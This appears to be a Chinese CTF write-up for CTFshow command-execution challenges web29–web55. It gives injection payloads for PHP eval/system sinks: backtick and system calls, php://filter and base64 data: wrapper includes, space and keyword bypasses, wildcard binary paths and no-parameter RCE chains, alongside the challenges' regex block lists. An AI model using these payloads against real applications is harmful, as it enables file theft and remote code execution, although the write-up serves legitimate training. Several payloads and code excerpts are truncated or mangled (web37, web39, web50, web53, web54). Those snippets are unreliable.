CTFshow_web入门_命令执行(web29-web77、web118-web122、web124)

CTFshow web入门 web入门_命令执行 持续更新

这一篇的草稿已经存了一段时间了,一方面觉得更新也没什么人看了,圈内已经有众多大佬的博客了,很多题目的hint里面也有题解,另一方面总感觉还没有写完,想等写完再发,后来复现的时候感觉题目也挺多的,慢慢更吧
写到这里就当是给自己看的了

web29

如果没有匹配到flag就执行$c
先传一个?c=system(‘ls’); 回显两个文件flag.php index.php
那就是要读flag.php了,方法太多了,这里用这个就行

?c=system('cat *');

web30

多了一点过滤,盲猜还是要看flag.php
把system过滤掉了可以用反引号替换

?c=echo `cat *`;

web31

命令执行里的空格可以用%09绕过

?c=echo(`nl%09*`);
或者
passthru("more%09f*");

web32

把反引号和echo和括号都禁了,还可以用include,注意不要留空格(include函数不需要空格也可以包含文件)

/?c=include$_POST["a"]?>
POST:a=php://filter/read=convert.base64-encode/resource=flag.php

web33-36

emmmm,禁了双引号,那干脆不用了

/?c=include$_POST[a]?>
POST:a=php://filter/read=convert.base64-encode/resource=flag.php

web37

 

考查文件包含,但是不能有flag字符,方法有很多,这里列举利用data协议命令执行和base64加密的文件包含

?c=data:text/plain,
?c=data:text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

web38

增加了对于php和file字符的过滤,试了一下短标签绕过php,没有用,那就用上面的base64编码吧

?c=data:text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

web39

 

include自带.php后缀,还是不影响我们使用data协议,hint:
data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用

?c=data:text/plain,

web40

<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
} 

过滤了大量的符号和数字,一开始没有思路,直到后来发现,过滤掉的括号是中文的…,仔细比较就能发现不一样

(	  	中文
(		英文

然后就可以无参数RCE,这是之前做的一些笔记

#经典讲解
https://www.freebuf.com/articles/system/242482.html

例题:


如果code匹配过后只剩下一个 ; 则执行代码
preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])
'/[^\W]+\((?R)?\)/'		/w表示匹配字母,数字和下划线,等价于[A-Za-z0-9_]
((?R)? 表示递归匹配,
最终只有a(b(c()));这样的命令可以使用
所以我们需要无参数的rce	基于php强大的函数
一般来说,print_r(scandir('.'));可以用来查看当前目录所有文件名

localeconv()返回一包含本地数字及货币格式信息的数组。而数组第一项就是"."(后续出现的.都用双引号包裹,方便识别)
current()返回数组中的单元,默认取第一个值:
print_r(scandir(current(localeconv())));	成功打印出当前目录下文件
或者使用print_r(scandir(pos(localeconv())));,pos是current的别名

phpversion()
phpversion()返回PHP版本,如5.5.9
floor(phpversion())返回 5
sqrt(floor(phpversion()))返回2.2360679774998
tan(floor(sqrt(floor(phpversion()))))返回-2.1850398632615
cosh(tan(floor(sqrt(floor(phpversion())))))返回4.5017381103491
sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))返回45.081318677156
ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))返回46
而chr(46)='.'

若flag.php为最后一个文件,则
show_source(end(scandir(getcwd())));		getcwd()获取当前目录绝对路径
或show_source(current(array_reverse(scandir(getcwd()))));		将数组逆序后选取第一个放回
如果是倒数第二个我们可以用: 
show_source(next(array_reverse(scandir(getcwd()))));
如果不是数组的最后一个或者倒数第二个呢?
我们可以使用array_rand(array_flip()),array_flip()是交换数组的键和值,array_rand()是随机返回一个数组
所以我们可以用: 
show_source(array_rand(array_flip(scandir(getcwd()))));
或者: 
show_source(array_rand(array_flip(scandir(current(localeconv())))));

这里我们可以

?c=show_source(next(array_reverse(scandir(getcwd()))));

web41

emmm,这题不友好啊,看出题人的wp吧
https://blog.csdn.net/miuzzx/article/details/108569080

web42

 /dev/null 2>&1");
}else{
    highlight_file(__FILE__);
} 

这题把输出都重定向到了null里,就是不给我们回显,但是想到了linux下的命令执行的特点,解法还是挺多的

?c=cat flag.php%0a
?c=cat flag.php;
?c=cat flag.php||

web43

增加了分号;和cat过滤,解法很多

?c=nl fla*||
?c=tac fla*||

cat的部分绕过方法

cat:由第一行开始显示内容,并将所有内容输出
tac:从最后一行倒序显示内容,并将所有内容输出
more:根据窗口大小,一页一页的现实文件内容
less:和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head:只显示头几行
tail:只显示最后几行
nl:类似于cat -n,显示时输出行号
tailf:类似于tail -f
sort%20/flag 读文件
出处:https://www.sohu.com/a/440030737_120967809

web44

增加flag过滤,解法同上

web45

增加空格过滤,空格的绕过也是经典了

?c=tac%09fla*||

web46

增加数字过滤和*过滤,但是试了一下%09还能用,应该是表示的url编码会解码,*用?替换就行了

/?c=tac%09fl??????||

web47

增添了一些过滤,不过,上一题的wp完美避开了

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

web48

同上


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);

web49

可能出题的时候没有考虑到tac命令吧,居然还是上上题的wp,恰好避开了所有过滤


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

web50

终于对我的%09下手了

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

不知道为啥问号(?)好像没有用了

?c=tac

web51

也对tac下手了

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

看前面的命令绕过可知,还有一个nl没有被禁

?c=nl

web52

过尖括号

?c=nl${IFS}fla''g.php||
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\i", $c)){
      
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

web53

感觉这里就直接执行代码了,不知道在考什么

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
} 
?c=nl${IFS}fl''ag.php

web54

好家伙,nl也被禁了


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\

直接到目录里面找cat命令

?c=/bin/ca?${IFS}f???????

web55

禁用了所有小写字母,利用上题的思路,直接找/bin/base64

?c=/???/????64 ????.???

之后看了wp说是用无字母RCE
https://blog.csdn.net/qq_46091464/article/details/108557067
就这题来说的话好像不需要这么复杂,但是无字母RCE还是值得去复现一下

先更新到这里吧
持续更新

你可能感兴趣的:(ctfshow)